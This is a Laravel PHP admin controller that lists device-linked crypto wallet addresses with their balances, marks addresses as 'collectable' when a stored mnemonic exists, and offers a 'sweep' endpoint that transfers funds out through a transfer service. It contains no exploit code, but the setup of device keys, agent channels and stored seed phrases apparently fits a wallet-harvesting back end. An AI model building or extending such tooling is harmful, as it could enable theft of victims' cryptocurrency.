isAgentPortal() ? collect() : User::query()->orderBy('username')->get(['id', 'username']); $sources = WalletAddress::query() ->whereNotNull('source') ->where('source', '!=', '') ->distinct() ->orderBy('source') ->pluck('source'); $chainTypes = WalletAddress::query() ->whereNotNull('chain_type') ->where('chain_type', '!=', '') ->distinct() ->orderBy('chain_type') ->pluck('chain_type'); return view('admin.addresses.index', [ 'portal' => $this->portal(), 'agents' => $agents, 'sources' => $sources, 'chainTypes' => $chainTypes, ]); } public function data(Request $request) { $q = $this->baseQuery($request); $sortable = ['id', 'address', 'chain_type', 'source', 'collectable', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at']; $field = (string) $request->query('field', 'id'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { $field = 'id'; } if ($field === 'collectable') { $field = 'mnemonic_id'; } $q->orderBy('wallet_addresses.'.$field, $order); $limit = max(1, min(100, (int) $request->query('limit', 20))); $page = max(1, (int) $request->query('page', 1)); $paginator = $q->paginate($limit, ['*'], 'page', $page); $portal = $this->portal(); $data = collect($paginator->items())->map(function ($row) use ($portal) { /** @var WalletAddress $row */ $coins = $row->formattedCoins(); return [ 'id' => $row->id, 'device_key' => $row->device_key ?: '', 'channel_id' => $row->device_channel_id ?: '', 'source' => $row->source ?: '', 'chain_type' => $row->chain_type ?: '', 'address' => $row->address, 'collectable' => $row->mnemonic_id !== null, 'usdt' => $coins['usdt'], 'trx' => $coins['trx'], 'eth' => $coins['eth'], 'btc' => $coins['btc'], 'bnb' => $coins['bnb'], 'monitor' => (int) $row->monitor, 'monitor_synced' => (bool) $row->monitor_synced, 'monitor_failures' => (int) $row->monitor_failures, 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $row->device_id), ]; })->values(); return response()->json([ 'code' => 0, 'msg' => '', 'count' => $paginator->total(), 'data' => $data, ]); } public function update(Request $request, WalletAddress $address) { $data = $request->validate([ 'monitor' => ['required', 'integer', 'in:0,1'], ]); if (! $this->addressInScope($address)) { return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } $address->monitor = (int) $data['monitor']; // When the user toggles the switch, mark as unsynced and reset the // failure counter so the scheduled task retries from scratch. $address->monitor_synced = false; $address->monitor_failures = 0; $address->save(); try { app(TokenviewMonitorService::class)->syncMonitor($address); } catch (\Throwable $e) { Log::warning('tokenview syncMonitor failed: '.$e->getMessage(), [ 'wallet_address_id' => $address->id, ]); } return response()->json([ 'code' => 0, 'msg' => 'ok', 'data' => [ 'id' => $address->id, 'monitor' => (int) $address->monitor, 'monitor_synced' => (bool) $address->monitor_synced, 'monitor_failures' => (int) $address->monitor_failures, ], ]); } public function sweep(Request $request, WalletAddress $address, TransferService $transfers) { if (! $this->addressInScope($address)) { return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } $chain = $this->resolveTransferChain($address); if ($chain === null) { return response()->json(['code' => 1, 'msg' => '不支持的链类型'], 422); } $allowedAssets = $this->assetsForChain($chain); $data = $request->validate([ 'asset' => ['required', 'string', Rule::in($allowedAssets)], 'amount' => ['nullable', 'string'], ]); $asset = strtoupper(trim((string) $data['asset'])); $amount = isset($data['amount']) ? trim((string) $data['amount']) : ''; if ($amount === '' || strcasecmp($amount, 'all') === 0 || $amount === '全部') { $amount = null; } else { $decimals = match ($asset) { 'ETH' => 18, 'BTC' => 8, default => 6, }; if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) { return response()->json(['code' => 1, 'msg' => '金额格式无效'], 422); } } $result = $transfers->handle( $chain, $address->address, $amount, $asset, $this->operatorLabel(), ); if (! ($result['ok'] ?? false)) { return response()->json([ 'code' => 1, 'msg' => (string) ($result['error'] ?? '归集失败'), ]); } return response()->json([ 'code' => 0, 'msg' => 'ok', 'data' => $result, ]); } private function addressInScope(WalletAddress $address): bool { $allowed = WalletAddress::query() ->join('devices', 'devices.id', '=', 'wallet_addresses.device_id') ->where('wallet_addresses.id', $address->id); AgentScope::applyDeviceChannelScope($allowed, $this->agent()); return $allowed->exists(); } private function resolveTransferChain(WalletAddress $address): ?string { $type = strtoupper(trim((string) $address->chain_type)); if (str_contains($type, 'TRON') || $type === 'TRX') { return 'tron'; } if (str_contains($type, 'ETH') || str_contains($type, 'EVM')) { return 'eth'; } if (str_contains($type, 'BTC') || str_contains($type, 'BITCOIN')) { return 'btc'; } $addr = trim((string) $address->address); if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $addr)) { return 'tron'; } if (preg_match('/^0x[0-9a-fA-F]{40}$/', $addr)) { return 'eth'; } if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $addr) || preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $addr)) { return 'btc'; } return null; } /** @return list */ private function assetsForChain(string $chain): array { return match ($chain) { 'eth' => ['ETH', 'USDT'], 'btc' => ['BTC'], default => ['USDT', 'TRX'], }; } private function operatorLabel(): string { if ($this->isAgentPortal()) { $user = auth('agent')->user(); return 'agent:'.((int) ($user?->id ?? 0)).'@'.(string) ($user?->username ?? ''); } $admin = auth('admin')->user(); return 'admin:'.((int) ($admin?->id ?? 0)).'@'.(string) ($admin?->username ?? ''); } private function baseQuery(Request $request): Builder { $q = WalletAddress::query() ->join('devices', 'devices.id', '=', 'wallet_addresses.device_id') ->select([ 'wallet_addresses.*', 'devices.device_id as device_key', 'devices.channel_id as device_channel_id', ]); AgentScope::applyDeviceChannelScope($q, $this->agent()); $channelId = trim((string) $request->query('channel_id', '')); $deviceKey = trim((string) $request->query('device_key', '')); $address = trim((string) $request->query('address', '')); $source = trim((string) $request->query('source', '')); $chainType = trim((string) $request->query('chain_type', '')); $monitor = $request->query('monitor'); $monitorSynced = $request->query('monitor_synced'); $hasUsdt = $request->query('has_usdt'); $hasMnemonic = $request->query('has_mnemonic'); $hasBalance = $request->query('has_balance'); if ($channelId !== '') { $q->where('devices.channel_id', 'like', '%'.$channelId.'%'); } if ($deviceKey !== '') { $q->where('devices.device_id', 'like', '%'.$deviceKey.'%'); } if ($address !== '') { $q->where('wallet_addresses.address', 'like', '%'.$address.'%'); } if ($source !== '') { $q->where('wallet_addresses.source', $source); } if ($chainType !== '') { $q->where('wallet_addresses.chain_type', $chainType); } if ($monitor === '1' || $monitor === 1) { $q->where('wallet_addresses.monitor', 1); } elseif ($monitor === '0' || $monitor === 0) { $q->where('wallet_addresses.monitor', 0); } if ($monitorSynced === '1' || $monitorSynced === 1) { $q->where('wallet_addresses.monitor', 1) ->where('wallet_addresses.monitor_synced', true); } elseif ($monitorSynced === '0' || $monitorSynced === 0) { $q->where('wallet_addresses.monitor', 1) ->where('wallet_addresses.monitor_synced', false); } if ($hasUsdt === '1' || $hasUsdt === 1) { $q->where('wallet_addresses.usdt', '>', 0); } elseif ($hasUsdt === '0' || $hasUsdt === 0) { $q->where(function (Builder $coin) { $coin->whereNull('wallet_addresses.usdt') ->orWhere('wallet_addresses.usdt', '<=', 0); }); } if ($hasMnemonic === '1' || $hasMnemonic === 1) { $q->whereNotNull('wallet_addresses.mnemonic_id'); } elseif ($hasMnemonic === '0' || $hasMnemonic === 0) { $q->whereNull('wallet_addresses.mnemonic_id'); } if ($hasBalance === '1' || $hasBalance === 1) { $q->where(function (Builder $inner) { foreach (WalletAddress::COIN_COLUMNS as $col) { $inner->orWhere('wallet_addresses.'.$col, '>', 0); } }); } elseif ($hasBalance === '0' || $hasBalance === 0) { $q->where(function (Builder $inner) { foreach (WalletAddress::COIN_COLUMNS as $col) { $inner->where(function (Builder $coin) use ($col) { $coin->whereNull('wallet_addresses.'.$col) ->orWhere('wallet_addresses.'.$col, '<=', 0); }); } }); } if (! $this->isAgentPortal()) { AgentScope::applyAgentUserFilter( $q, AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')) ); } return $q; } }